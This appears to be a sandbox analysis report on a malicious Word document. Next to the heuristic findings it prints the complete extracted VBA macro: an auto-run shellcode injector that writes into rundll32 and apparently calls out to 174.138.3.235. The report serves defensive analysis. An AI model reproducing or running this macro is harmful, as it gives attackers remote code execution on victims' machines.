MALICIOUS
434
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
The sample is a malicious Microsoft Word document that exploits CVE-2007-3899, a memory corruption vulnerability. The VBA macros within the document reference Windows API functions such as CreateProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread, indicating that it attempts to download and execute a second-stage payload. The ClamAV detection name 'Doc.Malware.Valyria-10025240-0' further supports its malicious nature.
Heuristics 14
-
CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
-
ClamAV: Doc.Malware.Valyria-10025240-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Valyria-10025240-0
-
Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORYReference to WriteProcessMemory API
-
Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREADReference to CreateRemoteThread API
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
If Len(Environ("ProgramW6432")) > 0 Then sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe" Else -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Sub Sub AutoOpen() Auto_Open -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
End Sub Sub Workbook_Open() Auto_Open -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub Auto_Open() Dim myByte As Long, myArray As Variant, offset As Long -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
-58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -119, -3, -1, -1, 49, 55, 52, 46, 49, 51, 56, 46, 51, 46, 50, 51, 53, 0, 62, 17, -3, 4) If Len(Environ("ProgramW6432")) > 0 Then sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe" -
Reference to CreateProcess API high SC_STR_CREATEPROCESSReference to CreateProcess API
-
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.google.com/accounts/TOS In document text (OLE body)
- http://www.google.com/intl/en/privacy.htmlIn document text (OLE body)
- https://www.google.com/publicdata/disclaimerIn document text (OLE body)
- http://groups.google.com/group/public-data-labsIn document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8296 bytes |
SHA-256: f7bbaccc3334a41a91ae027931417aa6d2cb4570bc3cad2e4166cbd07782ab5c |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Private Type PROCESS_INFORMATION
TOOEwNETlR As Long
ihsAFfFuFT As Long
tRjpFxEHJY As Long
YoTJjAjskI As Long
End Type
Private Type STARTUPINFO
IPdJOCEQbF As Long
WSyHhwEqKW As String
rJbFGiTWhH As String
jjeCNdTBtA As String
uGMiXWgHJn As Long
HHzCnPYEKj As Long
uGMiXWgHJnSize As Long
HHzCnPYEKjSize As Long
uGMiXWgHJnCountChars As Long
HHzCnPYEKjCountChars As Long
bOvkfsyVGp As Long
jVmlAOtUga As Long
lBUOzpSZBS As Integer
IPdJOCEQbFReserved2 As Integer
WSyHhwEqKW2 As Long
mndHdWvOPK As Long
DXklUXHcBn As Long
DQPyBwAHoX As Long
End Type
#If VBA7 Then
Private Declare PtrSafe Function DPhntbcuSm Lib "kernel32" Alias "CreateRemoteThread" (ByVal TOOEwNETlR As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As LongPtr, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As LongPtr
Private Declare PtrSafe Function yzwFWPesFq Lib "kernel32" Alias "VirtualAllocEx" (ByVal TOOEwNETlR As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function jTAhCXvxVE Lib "kernel32" Alias "WriteProcessMemory" (ByVal TOOEwNETlR As Long, ByVal lDest As LongPtr, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As LongPtr) As LongPtr
Private Declare PtrSafe Function anWxozUtdl Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#Else
Private Declare Function DPhntbcuSm Lib "kernel32" Alias "CreateRemoteThread" (ByVal TOOEwNETlR As Long, ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, ByVal lpStartAddress As Long, lpParameter As Long, ByVal dwCreationFlags As Long, lpThreadID As Long) As Long
Private Declare Function yzwFWPesFq Lib "kernel32" Alias "VirtualAllocEx" (ByVal TOOEwNETlR As Long, ByVal lpAddr As Long, ByVal lSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function jTAhCXvxVE Lib "kernel32" Alias "WriteProcessMemory" (ByVal TOOEwNETlR As Long, ByVal lDest As Long, ByRef Source As Any, ByVal Length As Long, ByVal LengthWrote As Long) As Long
Private Declare Function anWxozUtdl Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
#End If
Sub Auto_Open()
Dim myByte As Long, myArray As Variant, offset As Long
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim sProc As String
#If VBA7 Then
Dim rwxpage As LongPtr, res As LongPtr
#Else
Dim rwxpage As Long, res As Long
#End If
myArray = Array(-4, -24, -119, 0, 0, 0, 96, -119, -27, 49, -46, 100, -117, 82, 48, -117, 82, 12, -117, 82, 20, -117, 114, 40, 15, -73, 74, 38, 49, -1, 49, -64, -84, 60, 97, 124, 2, 44, 32, -63, -49, _
13, 1, -57, -30, -16, 82, 87, -117, 82, 16, -117, 66, 60, 1, -48, -117, 64, 120, -123, -64, 116, 74, 1, -48, 80, -117, 72, 24, -117, 88, 32, 1, -45, -29, 60, 73, -117, 52, -117, 1, _
-42, 49, -1, 49, -64, -84, -63, -49, 13, 1, -57, 56, -32, 117, -12, 3, 125, -8, 59, 125, 36, 117, -30, 88, -117, 88, 36, 1, -45, 102, -117, 12, 75, -117, 88, 28, 1, -45, -117, 4, _
-117, 1, -48, -119, 68, 36, 36, 91, 91, 97, 89, 90, 81, -1, -32, 88, 95, 90, -117, 18, -21, -122, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, -1, _
-43, -24, 0, 0, 0, 0, 49, -1, 87, 87, 87, 87, 87, 104, 58, 86, 121, -89, -1, -43, -23, -92, 0, 0, 0, 91, 49, -55, 81, 81, 106, 3, 81, 81, 104, -69, 1, 0, 0, 83, _
80, 104, 87, -119, -97, -58, -1, -43, 80, -23, -116, 0, 0, 0, 91, 49, -46, 82, 104, 0, 50, -96, -124, 82, 82, 82, 83, 82, 80, 104, -21, 85, 46, 59, -1, -43, -119, -58, -125, -61, _
80, 104, -128, 51, 0, 0, -119, -32, 106, 4, 80, 106, 31, 86, 104, 117, 70, -98, -122, -1, -43, 95, 49, -1, 87, 87, 106, -1, 83, 86, 104, 45, 6, 24, 123, -1, -43, -123, -64, 15, _
-124, -54, 1, 0, 0, 49, -1, -123, -10, 116, 4, -119, -7, -21, 9, 104, -86, -59, -30, 93, -1, -43, -119, -63, 104, 69, 33, 94, 49, -1, -43, 49, -1, 87, 106, 7, 81, 86, 80, 104, _
-73, 87, -32, 11, -1, -43, -65, 0, 47, 0, 0, 57, -57, 117, 7, 88, 80, -23, 123, -1, -1, -1, 49, -1, -23, -111, 1, 0, 0, -23, -55, 1, 0, 0, -24, 111, -1, -1, -1, 47, _
95, 105, 110, 105, 116, 46, 103, 105, 102, 0, 42, 38, 3, 74, 95, 109, -91, 125, 92, 125, 16, -72, -6, 104, 74, -37, -60, 111, 37, -92, -68, 40, -76, -56, -75, -34, -3, 102, 39, -95, _
90, 99, 31, -18, 106, -121, 120, 19, 28, -86, 102, 77, 29, 1, 4, -19, -6, 84, 118, -13, -52, -66, 89, -118, 82, 14, -47, -55, -28, -31, -113, -69, 103, -47, 116, 103, -23, 2, 0, 85, _
115, 101, 114, 45, 65, 103, 101, 110, 116, 58, 32, 77, 111, 122, 105, 108, 108, 97, 47, 53, 46, 48, 32, 40, 87, 105, 110, 100, 111, 119, 115, 32, 78, 84, 32, 54, 46, 49, 59, 32, _
87, 79, 87, 54, 52, 59, 32, 84, 114, 105, 100, 101, 110, 116, 47, 55, 46, 48, 59, 32, 114, 118, 58, 49, 51, 46, 48, 41, 32, 108, 105, 107, 101, 32, 71, 101, 99, 107, 111, 13, _
10, 0, 40, 30, 70, -39, -60, 116, 88, -94, 68, -32, 60, 0, -29, -84, -92, -9, 59, -16, 24, -72, -121, -77, 101, -112, -12, 73, -72, -126, -121, -28, -112, 44, 52, 71, -26, 68, 43, 118, _
3, -87, -33, -10, 65, 1, 103, -116, -79, -49, 120, -69, 25, -25, -18, -4, -79, -128, 68, -94, -112, 34, 64, 26, 4, 31, -76, 2, -47, -50, 54, 127, -110, 81, -33, -58, 60, -74, 33, -48, _
109, -49, 15, 79, -15, 115, 122, -37, -40, -106, -106, -127, 19, 20, -128, 46, 95, 109, 30, 34, -64, 105, -4, 72, 84, -9, -31, -86, 79, 126, 115, 77, -91, -128, 67, -114, 94, 24, 12, -5, _
-85, -86, 55, 40, -17, 0, 11, -10, 73, -19, 16, -40, 111, 22, -25, -116, 57, 93, 55, 1, -128, 81, 75, -128, 98, -12, 52, -81, -56, 48, 107, 44, -21, -94, 12, -25, 93, -119, 20, -26, _
-41, 7, 81, -101, 86, -10, -65, 96, -36, 26, 0, -104, 28, -26, 53, -100, -55, -95, 103, 61, 78, 29, 116, 1, 58, -108, -121, 94, -59, -87, -81, -108, 99, 18, -121, -106, -114, -37, 12, -16, _
-10, -69, 124, 127, -47, -102, 56, -33, 119, 34, 50, 79, -106, -64, 32, -119, 34, 38, 125, 29, -33, -18, 0, 104, -16, -75, -94, 86, -1, -43, 106, 64, 104, 0, 16, 0, 0, 104, 0, 0, _
64, 0, 87, 104, 88, -92, 83, -27, -1, -43, -109, -71, 40, 0, 0, 0, 1, -39, 81, 83, -119, -25, 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, -106, -119, -30, -1, -43, -123, -64, 116, _
-58, -117, 7, 1, -61, -123, -64, 117, -27, 88, -61, -24, -119, -3, -1, -1, 49, 55, 52, 46, 49, 51, 56, 46, 51, 46, 50, 51, 53, 0, 62, 17, -3, 4)
If Len(Environ("ProgramW6432")) > 0 Then
sProc = Environ("windir") & "\\SysWOW64\\rundll32.exe"
Else
sProc = Environ("windir") & "\\System32\\rundll32.exe"
End If
res = anWxozUtdl(sNull, sProc, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, sNull, sInfo, pInfo)
rwxpage = yzwFWPesFq(pInfo.TOOEwNETlR, 0, UBound(myArray), &H1000, &H40)
For offset = LBound(myArray) To UBound(myArray)
myByte = myArray(offset)
res = jTAhCXvxVE(pInfo.TOOEwNETlR, rwxpage + offset, myByte, 1, ByVal 0&)
Next offset
res = DPhntbcuSm(pInfo.TOOEwNETlR, 0, 0, rwxpage, 0, 0, 0)
ActiveDocument.Range.Text = "Er is een probleem opgetreden met deze enquête. Neem a.u.b. contact op met de maker Vincent van Zanten op 06-13108970."
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.